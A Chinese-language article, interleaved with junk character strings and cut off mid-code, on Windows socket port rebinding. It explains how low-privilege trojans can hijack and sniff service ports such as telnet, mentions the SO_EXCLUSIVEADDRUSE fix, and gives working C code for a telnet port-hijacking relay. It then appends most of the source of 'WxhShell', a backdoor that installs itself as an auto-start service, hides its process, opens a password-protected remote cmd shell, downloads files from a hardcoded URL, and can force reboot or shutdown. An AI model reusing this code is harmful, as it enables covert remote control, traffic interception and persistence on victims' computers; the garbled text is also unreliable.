在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7hF,gl5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
9p\Hx#^ MpIw^a3(r saddr.sin_family = AF_INET;
?F87C[o <% 7P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2^^'t 6@ "gbnLKs bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
cbu nq" VU`z|nBW@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
uO _,n `gt&Y- 这意味着什么?意味着可以进行如下的攻击:
6a%:zgkOpu H#|Z8^ *Ds 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%EVV-n@ :,%J6Zh? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
UR/qVO? *qO]v9 j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8yE%X!E $h,&b<- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a81!~1A k_K,J6_) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Mm5U`mB >
h,y\uV1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x5fgF; Hb
A3*2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$^vp'^uW> rq<`(V'2 #include
'0CXHjZN #include
V~J*49t&2J #include
JNxW6 cK #include
!cN?SGafZI DWORD WINAPI ClientThread(LPVOID lpParam);
W$ JY M3! int main()
&\"Y/b] {
FE8+E\ U? WORD wVersionRequested;
tp1KP/2w[ DWORD ret;
4Q$j]U&b WSADATA wsaData;
~@[(N]=q BOOL val;
:S QDqG SOCKADDR_IN saddr;
Exep+x- SOCKADDR_IN scaddr;
x1 ;rb8 int err;
kf+JM/ SOCKET s;
[<D+pqh SOCKET sc;
ur/Oc24i1n int caddsize;
o5N]((9 HANDLE mt;
tXf}jU} DWORD tid;
Wk/fB0 wVersionRequested = MAKEWORD( 2, 2 );
ELN|;^-/|Q err = WSAStartup( wVersionRequested, &wsaData );
2UU2Vm_6 if ( err != 0 ) {
n\Z^K printf("error!WSAStartup failed!\n");
U/.w;DI return -1;
{ A:LAAf[6 }
/yx=7< saddr.sin_family = AF_INET;
/\TQc-k?2 beJZpg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/lf\
E= b%3Q$wIJ6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o{9?:*?7 saddr.sin_port = htons(23);
!?BW_vY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gb]hOB7g {
d>^~9X printf("error!socket failed!\n");
$|Q".dD return -1;
G+ :bL S#: }
~J%R-{U9 val = TRUE;
V)2"l"Kt //SO_REUSEADDR选项就是可以实现端口重绑定的
@ L\-ZWq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
NV&;e[z {
'/Cg*o/ printf("error!setsockopt failed!\n");
Bp&6x;MJf return -1;
ov1Wr#s }
&K06}[J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lxm*;?j`W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;
Zh9^0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zs4>/9O 1lbwJVY[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
U%Dit {
SxMxe,.| ret=GetLastError();
(2:
N; printf("error!bind failed!\n");
!{$qMhT return -1;
T:c7@^= }
]t*33 listen(s,2);
T0g0jr{ while(1)
M#`{>R| {
}(m1ql caddsize = sizeof(scaddr);
P=2wkzeJj //接受连接请求
!zU/Hq{wcK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>Q&CgGpW$ if(sc!=INVALID_SOCKET)
aXC!t {
I[@ts!YD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VXiui'/( if(mt==NULL)
Bu&So|@TL {
@]*[c})/ printf("Thread Creat Failed!\n");
|0lLl^zp break;
3] N q@t }
?fB5t;~E }
gglf\)E;}E CloseHandle(mt);
z23#G>I& }
2bkJ /u`i closesocket(s);
>8%M*-=p WSACleanup();
lHcA j{6 return 0;
7vw;Egd@@- }
00"CC DWORD WINAPI ClientThread(LPVOID lpParam)
w"1x=+ {
*u}'}jC1X SOCKET ss = (SOCKET)lpParam;
h
5Hr[E1 SOCKET sc;
axtb<5& unsigned char buf[4096];
0',[J SOCKADDR_IN saddr;
uj)yk* long num;
e#1.T DWORD val;
w~]T<^fW~ DWORD ret;
r5[4h'f //如果是隐藏端口应用的话,可以在此处加一些判断
;uK";we //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
X
PA0m saddr.sin_family = AF_INET;
pzi q0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F.68iN} saddr.sin_port = htons(23);
!W~QT} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&f"T,4Oh {
EsTB(9c? printf("error!socket failed!\n");
z{=v)F5y return -1;
0Q`&inwh }
$2Q YxY9s val = 100;
3-iD.IAUm@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+mLD/gK` {
oPsK:GC`U ret = GetLastError();
6Kp}_^|z return -1;
`0rRKlb j4 }
$R?@L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;
h85=l<8u {
`w+1C&>^[ ret = GetLastError();
^&MK42,\ return -1;
>azEed<B }
r8,om^N6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l!:^6i {
"Vy WT printf("error!socket connect failed!\n");
zqf[Z3 closesocket(sc);
j`9Qzi1 closesocket(ss);
p?kvW42/ return -1;
IJ_ m }
!D;c,{Oz while(1)
6OtVaT=}<O {
XXm'6xD- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-?z\5z //如果是嗅探内容的话,可以再此处进行内容分析和记录
#q;z8 @ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~j"3}wXc5 num = recv(ss,buf,4096,0);
u{Ak:0G7 if(num>0)
E30Z`$cz: send(sc,buf,num,0);
Zi*%*nX else if(num==0)
n}OU Y break;
d@ (vg num = recv(sc,buf,4096,0);
1qZG`Vz if(num>0)
(A4&k{C_ send(ss,buf,num,0);
!}t-j3bCs else if(num==0)
V%51k{ break;
vBoO'l9'M }
y\,f6=%k closesocket(ss);
" #v%36U closesocket(sc);
3[VNsX return 0 ;
;7j,MbU }
* |KVN x<>YUw8` P)hi||[ ==========================================================
;_N5>3C: aq$q
~,E 下边附上一个代码,,WXhSHELL
,Xtj;@~- KUKI qAA ==========================================================
bo>E"< 8R?I`M_b #include "stdafx.h"
8UM0vNk nNQ-"t #include <stdio.h>
ShGp^xVj #include <string.h>
oY.\)eJ~> #include <windows.h>
iRt*A6`m+ #include <winsock2.h>
vaB!R 0 #include <winsvc.h>
Y0Rg Jn #include <urlmon.h>
^Xs]C|=W q.T:0| #pragma comment (lib, "Ws2_32.lib")
5v|EAjB6o #pragma comment (lib, "urlmon.lib")
JC2*$qu J B;W(iI #define MAX_USER 100 // 最大客户端连接数
X 8R1a? #define BUF_SOCK 200 // sock buffer
pkk4h2Ah #define KEY_BUFF 255 // 输入 buffer
"dtlME{Bx fRNP#pi0u #define REBOOT 0 // 重启
o;J;k_[MX #define SHUTDOWN 1 // 关机
y-a|Lu* E1(1E?}! #define DEF_PORT 5000 // 监听端口
^P$7A]! FYl3c #define REG_LEN 16 // 注册表键长度
$[z<oN_Q #define SVC_LEN 80 // NT服务名长度
\fi}Q\|C ,g|2NjUAc // 从dll定义API
bVK$.*, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}_%P6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ir&.Z5= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"DpKrVuG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I$j|Rq L~&" aF/b // wxhshell配置信息
zy>}L # struct WSCFG {
k|B2@{ int ws_port; // 监听端口
-oh7d$~ char ws_passstr[REG_LEN]; // 口令
8xTix1u0 int ws_autoins; // 安装标记, 1=yes 0=no
vYnftJK& char ws_regname[REG_LEN]; // 注册表键名
>>7aw" 0 char ws_svcname[REG_LEN]; // 服务名
BY(
eV! char ws_svcdisp[SVC_LEN]; // 服务显示名
^yVl"/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
uJ8{HB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-J?~U2 int ws_downexe; // 下载执行标记, 1=yes 0=no
D=&K&6rr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?,XC=} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9@y3IiZ"} 2w4MJ,Uw };
ri+U0[e3 0roCP=; // default Wxhshell configuration
QO,+ps< struct WSCFG wscfg={DEF_PORT,
Ac\W\=QvB "xuhuanlingzhe",
!^v\^Fc 1,
WQKj]:qk0 "Wxhshell",
a.,_4;'UE1 "Wxhshell",
+)gB9DoK "WxhShell Service",
O-!,Jm "Wrsky Windows CmdShell Service",
xZ+]QDKC "Please Input Your Password: ",
@O/,a7Tt 1,
T|bZ9_?+2 "
http://www.wrsky.com/wxhshell.exe",
\_U*t! "Wxhshell.exe"
&t_h'JX& };
c#pj :f*H (.Xr#;\( // 消息定义模块
t)r1"oA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
D^$OCj\ char *msg_ws_prompt="\n\r? for help\n\r#>";
- 9-fX(I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'C~9]Y]. char *msg_ws_ext="\n\rExit.";
[@2s&Ct; char *msg_ws_end="\n\rQuit.";
%h/! Y<% char *msg_ws_boot="\n\rReboot...";
MGybGbd char *msg_ws_poff="\n\rShutdown...";
}4h0bI char *msg_ws_down="\n\rSave to ";
ym%o}(v- d~`-AC+ char *msg_ws_err="\n\rErr!";
p;`N\.ld char *msg_ws_ok="\n\rOK!";
' ^a!`"Bc o](.368+4 char ExeFile[MAX_PATH];
m[8
@Unt int nUser = 0;
`%y5\!X HANDLE handles[MAX_USER];
SRf5W'4y int OsIsNt;
H\+-cvl !01i%W' SERVICE_STATUS serviceStatus;
h8.FX-0& = SERVICE_STATUS_HANDLE hServiceStatusHandle;
eP= j.$ _}ele+ // 函数声明
{D,RU8& int Install(void);
V(..8}LlD int Uninstall(void);
E}$V2ha0zu int DownloadFile(char *sURL, SOCKET wsh);
x6e +7"#~ int Boot(int flag);
%U?)?iZdL void HideProc(void);
7\%$>< K int GetOsVer(void);
]o*$h$? s int Wxhshell(SOCKET wsl);
) 4ncutb void TalkWithClient(void *cs);
CZ tiWZ int CmdShell(SOCKET sock);
M/B/b<[' int StartFromService(void);
HNMBXXf,B int StartWxhshell(LPSTR lpCmdLine);
6"%2,`Nu \h#9oPy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(\&
62B1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vp7b4n< Fu##'# // 数据结构和表定义
@L8;VSI SERVICE_TABLE_ENTRY DispatchTable[] =
Z4@y?fv7s {
xA-jvu9@ {wscfg.ws_svcname, NTServiceMain},
=4> @8=JA {NULL, NULL}
OX3Xy7 };
qZbHMTnT6 e5OVq
, // 自我安装
*"T+G*~ int Install(void)
|Puj7Ru {
0jTMZ<&zZ char svExeFile[MAX_PATH];
j_c+.iET HKEY key;
e &Rb strcpy(svExeFile,ExeFile);
J6auUm` ` 4J}3,+ // 如果是win9x系统,修改注册表设为自启动
u){S$</ if(!OsIsNt) {
%zflx~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OG}KqG!n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?O7iK<5N RegCloseKey(key);
@_Sp3nWdu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^ZVOql& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hS_.l}0yf RegCloseKey(key);
iT$d;5_pU return 0;
8&?p }
`^e*T'UPl }
bd{\{[^S! }
?(Bl~?zD else {
{aIZFe}B 3'^S3W% // 如果是NT以上系统,安装为系统服务
?i%nMlcc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k=|K| if (schSCManager!=0)
AY;<q$8j%, {
zq=&4afOE SC_HANDLE schService = CreateService
t=
*Jg/$ (
Hz? ,#>{ schSCManager,
y/\ZAtnLo wscfg.ws_svcname,
;sQ20 B' wscfg.ws_svcdisp,
f1\7vEE, SERVICE_ALL_ACCESS,
_yJ|`g]U3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ql8^]gbp+ SERVICE_AUTO_START,
KBj@V6Q SERVICE_ERROR_NORMAL,
y#e ?iE@ svExeFile,
SwJHgZ& NULL,
,!H\^Vfl NULL,
hXTYTbTX NULL,
Q@Dkl
F NULL,
niAZ$w NULL
WKOI\ );
c/RT0xql* if (schService!=0)
tWX7dspx/ {
wPQ&Di*X} CloseServiceHandle(schService);
>uW^.e "F CloseServiceHandle(schSCManager);
-;ER`Jqs, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9C=~1>S
strcat(svExeFile,wscfg.ws_svcname);
b~9`]+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
QA,*:qx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q;No"_aAd RegCloseKey(key);
D}Au6 return 0;
QH:>jmC{1h }
cqjl5UB }
t)!V+Qcb CloseServiceHandle(schSCManager);
4znH$M>bU }
5Kee2s?* }
&t_A0z G g(NGT return 1;
ph+M3q(z }
Cy6%S).c wBE7Bv45 // 自我卸载
bw020@O* int Uninstall(void)
Z,SY
N?@ {
z6 a,0&;-L HKEY key;
bl`D+/V iel-<(~ if(!OsIsNt) {
nfa_8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1]Lhk?4t RegDeleteValue(key,wscfg.ws_regname);
%rw}u"3T RegCloseKey(key);
HM
90Sb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qL,ka RegDeleteValue(key,wscfg.ws_regname);
?0uOR*y' RegCloseKey(key);
(HPz return 0;
ovbEmb }
\*Ts)EW }
M$F{N }
yYM_lobn else {
^?nP$+gq !*5_pGe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!"`Jqs if (schSCManager!=0)
PY2[S[ {
dK`(BA{`3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
n
3h^VQ*]G if (schService!=0)
{N"*olx {
7MoR9,( if(DeleteService(schService)!=0) {
CuIqh BW! CloseServiceHandle(schService);
f&f`J/( CloseServiceHandle(schSCManager);
%uj[ ` return 0;
~z &0qQ }
*.:! Ax CloseServiceHandle(schService);
1y 1_6TZ+ }
"~_$T@^k> CloseServiceHandle(schSCManager);
^] i"
H|(x }
@K7ebYr? }
<o~t$TH WejyYqr34- return 1;
K[*h+YO }
e~3]/BL C0gfJ~M) // 从指定url下载文件
<>VIDE int DownloadFile(char *sURL, SOCKET wsh)
Qg[heND {
?vMK'" HRESULT hr;
/q T E char seps[]= "/";
xC'mPcU8 char *token;
q)vK`\Y char *file;
) sRN!~ char myURL[MAX_PATH];
(v]P<3% char myFILE[MAX_PATH];
U&`6&$] 5[nmP95YK strcpy(myURL,sURL);
!;TR2Zcn token=strtok(myURL,seps);
zaH
5
Km_j while(token!=NULL)
cT\Ov
P*_ {
KuIkul9^% file=token;
0,:iE\ token=strtok(NULL,seps);
fn3*2 }
,|6Y\L I; ^xAd3G GetCurrentDirectory(MAX_PATH,myFILE);
SE6>vKR/. strcat(myFILE, "\\");
3(MoXA* strcat(myFILE, file);
$I\))*a send(wsh,myFILE,strlen(myFILE),0);
(qJIu send(wsh,"...",3,0);
_MGNKA6JI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
W&HF?w}s if(hr==S_OK)
b*cW<vX}~ return 0;
3Wjq >\ else
GVeL~Q return 1;
kZJt~} hT.4t,wa8 }
Tnf&pu#5 Ga]47pQ"F // 系统电源模块
@P*ylB}?Q int Boot(int flag)
8FAT(f//. {
lt }r}HM+ HANDLE hToken;
O5g}2 TOKEN_PRIVILEGES tkp;
n>u.3wL mfj4`3:NV if(OsIsNt) {
g7.7E6%H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)C'G2RV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
UAnB=L,.\ tkp.PrivilegeCount = 1;
&r&;<Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_Syre6k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H|grbTv, if(flag==REBOOT) {
l\q*%'Pe if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"9c.C I return 0;
!Sh^LYqn }
b7?U8/#' else {
Ly#h|) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&?P=arU return 0;
\pjRv }
r^?)F?n! }
@N,:x\
else {
:iP>z}h if(flag==REBOOT) {
( rA\_FOJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z7OZ4R: return 0;
o?:;8]sr! }
xI=}z else {
Dj-\))L if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4^d+l.F return 0;
i_j9/k }
)e4WAlg8c }
tebWj>+1c [W^6u7~ return 1;
3MNhH }
jF%)Bhn( W?*Xy6",JF // win9x进程隐藏模块
8>C;
>v void HideProc(void)
FRl3\ZDqrb {
t_[M& (z8]FT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DFt=%aV[ if ( hKernel != NULL )
{]t\`fjrg {
,!o\),N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?z \q Mu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*G%1_ FreeLibrary(hKernel);
<7_ |Q }
(PCimT=5 `c qH}2s# return;
{AU` }*5 }
J6@(X8w{j nUI63? // 获取操作系统版本
5PPPd-'Z_ int GetOsVer(void)
_aXP
;kFMi {
J6*\>N5W OSVERSIONINFO winfo;
Bi9
N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C:'WX*W GetVersionEx(&winfo);
P?Gd}mdX?m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&^CL]&/ return 1;
rh:s
7 else
rd&*j^? return 0;
G"T;l"TAt8 }
A&NC0K}G! p0}+071o% // 客户端句柄模块
,_"7|z wb int Wxhshell(SOCKET wsl)
,$MWk(S {
!uj! SOCKET wsh;
5t"bCzp struct sockaddr_in client;
Dg9--wI}I9 DWORD myID;
|0C|$2 Jf%!I while(nUser<MAX_USER)
}$&T
O$LX {
x[GFX8h(k6 int nSize=sizeof(client);
.XV]<)<K$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~cO?S2!W if(wsh==INVALID_SOCKET) return 1;
EO o'a _H^^2#wc/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^G'yaaLXR if(handles[nUser]==0)
qHC*$v#.V? closesocket(wsh);
<eud#v else
%9~kA5Qj nUser++;
??$i* }
+H)!uLvaB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+,vJ7 ]zhq.O
>2{ return 0;
4t+/ }
n3HCd-z M@!]U:5~V // 关闭 socket
&dZ.+#8r void CloseIt(SOCKET wsh)
vjs|!O=oH {
QN2*]+/h closesocket(wsh);
JL]k:i^`A nUser--;
^V XXq ExitThread(0);
y :i[~ y }
6?<`wGs( ?v )"%. // 客户端请求句柄
DMK"Q#Vw void TalkWithClient(void *cs)
.^9/ 0.g8t {
QRg"/62WCD iP#A-du SOCKET wsh=(SOCKET)cs;
|$.sB|_
N char pwd[SVC_LEN];
fr,CH{Uq char cmd[KEY_BUFF];
72s$ char chr[1];
eBYaq!t
k int i,j;
$:-= > 0-t4+T while (nUser < MAX_USER) {
wEo-a< ( -+
IX[ if(wscfg.ws_passstr) {
soQv?4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e u=f-HW] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gE6y&a //ZeroMemory(pwd,KEY_BUFF);
qRP8dH i=0;
m|Q&Lphb8 while(i<SVC_LEN) {
AVevYbucB d~z<,_r5c // 设置超时
xt<,
(4u fd_set FdRead;
`>K k;` struct timeval TimeOut;
Bu>yRL=* FD_ZERO(&FdRead);
vS*0CR\ FD_SET(wsh,&FdRead);
P+zI9~N[ TimeOut.tv_sec=8;
R=Ly49 TimeOut.tv_usec=0;
2h? r![ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<,]CVo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`bt)'ERO%# #35S7G^ @` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kAQ\t?`x pwd
=chr[0]; - m x3^
if(chr[0]==0xd || chr[0]==0xa) { RWh}?vs_
pwd=0; YT 03>!B
break; ~E6+2t*
} ``YL]
<<
i++; ;|$]Qq
} /jL{JF>I
Xde=}9
// 如果是非法用户,关闭 socket ~PAbLSL*u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PA-0FlV|
} _~#C $-T
7Hkf7\JY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hr}R,BR|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WO*WAP)n
?KuJs9SM
while(1) { vheAh`u^&
AU?YZEAei
ZeroMemory(cmd,KEY_BUFF); KZ
>"L
7Caap/L:
// 自动支持客户端 telnet标准 NwuBe:"@
j=0; 9kg>)ty@
while(j<KEY_BUFF) { Hr,lA(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fF]&{b~wk
cmd[j]=chr[0]; ;@-5lCvC(+
if(chr[0]==0xa || chr[0]==0xd) { 68br
cmd[j]=0; 4y}a,
break; Eq.zCD8A
} .Fz6+m;Z
j++; VKfHN_m*
} 9l^
j<-o{6r
// 下载文件 ~S{\wL53
if(strstr(cmd,"http://")) { UHl/AM>!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); aTL7"Myp
if(DownloadFile(cmd,wsh)) oW1olmpp=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJR\ g3
else pQ`L=#WM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9@>hm>g.
} B-p5;h>
else { (S 3kP5:F
jN{xpd
switch(cmd[0]) { en6AAr:U}
;Wm)e~`,
// 帮助 U~@B%Msb
L
case '?': { Pw{{+PBu R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q$*_C kT
break; c@{^3V##T
} #Z5Wk
// 安装 Uy'ZL(2
case 'i': { ]`U?<9~Ob
if(Install()) X
\ZUt
>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %31K*i/]
else I,Y^_(JW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \>k#]4@rp
break; qiJ;v1
} -mdPqVIJn:
// 卸载 5]ob;tAm
case 'r': { 6j![m+vo%
if(Uninstall()) bvvx(?!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :WTvP$R
else _
L6>4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E1[%~Cpw*
break; UZ0O
j5B.
} !t{!.
// 显示 wxhshell 所在路径 9jBr868
case 'p': { Efd[ZJxS6
char svExeFile[MAX_PATH]; 0tyU%z{RV
strcpy(svExeFile,"\n\r"); hzVO.Q*
strcat(svExeFile,ExeFile); v)pWx0l=
send(wsh,svExeFile,strlen(svExeFile),0); skArocs
break; Ki\jiflc7
} nXW1 :
// 重启 }Ec"&
case 'b': { >u[ln@ l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1 SZa\ ][@
if(Boot(REBOOT)) 2M`Ni&v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AG=1TZI"
else { Ps-d#~4U;
closesocket(wsh); ^jC0S[csw2
ExitThread(0); K|!)<6ZsG7
} 3P>@ :
break; $o^}<)DW
} L j\<qF~n
// 关机 $nN$"
case 'd': { GQ8P}McA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1yf&ck1R
if(Boot(SHUTDOWN)) jlZNANR3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5ao2-\
else { (ZJ_&8C#
closesocket(wsh); 93,ExgFt
ExitThread(0); AS
u l
} o!d0
break; Y6Q6--P
} X}
8U-N6)
// 获取shell jws(`mIf\
case 's': { 3+'w% I
CmdShell(wsh); (~4AG \
closesocket(wsh); % *hBrjbj
ExitThread(0); v4zARE9#
break; uWQ.h ,
} +!wc(N[(2
// 退出 F.9|$g*ip
case 'x': { #{a <{HX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ZO*~.zZ
CloseIt(wsh); "tIx$?I
break; R7>@-EG
} hCrgN?Mz
// 离开 rL/+`H
case 'q': { E&AR=yqk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); uq_SF.a'v
closesocket(wsh); 8h=XQf6k0
WSACleanup(); Z9y:}:j"
exit(1); wO9<An
break; >Ww F0W9?
} |m%&Qb
} c1f6RCu$b
} EOiKwhrV
JP]K\nQx'
// 提示信息 lPQH_+)Z"
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R_&>iu'[
} {_JLmyaerZ
} I <7K^j+5:
ZL
Aq8X
return; ~*qGH
} 8MdKH7
i8]r}a
// shell模块句柄 {>qCZ#E5WO
int CmdShell(SOCKET sock) 5VN4A<))
{ @NF8?>!
STARTUPINFO si; aVlHY E
ZeroMemory(&si,sizeof(si)); [
kknY+n1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0WFZx
Ad"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DRnXo-Aaj
PROCESS_INFORMATION ProcessInfo; K{c^.&6D
char cmdline[]="cmd"; q:'(1y~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GZ%RfKyQ
return 0; lZ|Ao0(
} 9D@Ez"xv
W$&Q.Z
// 自身启动模式 mnePm{
int StartFromService(void) qy!G&
{ !(]|!F[m
typedef struct W^x[maz
{ <:p&P
DWORD ExitStatus; 1_'ZbZv4h
DWORD PebBaseAddress; 3ySnA AG
DWORD AffinityMask; $KiA~l
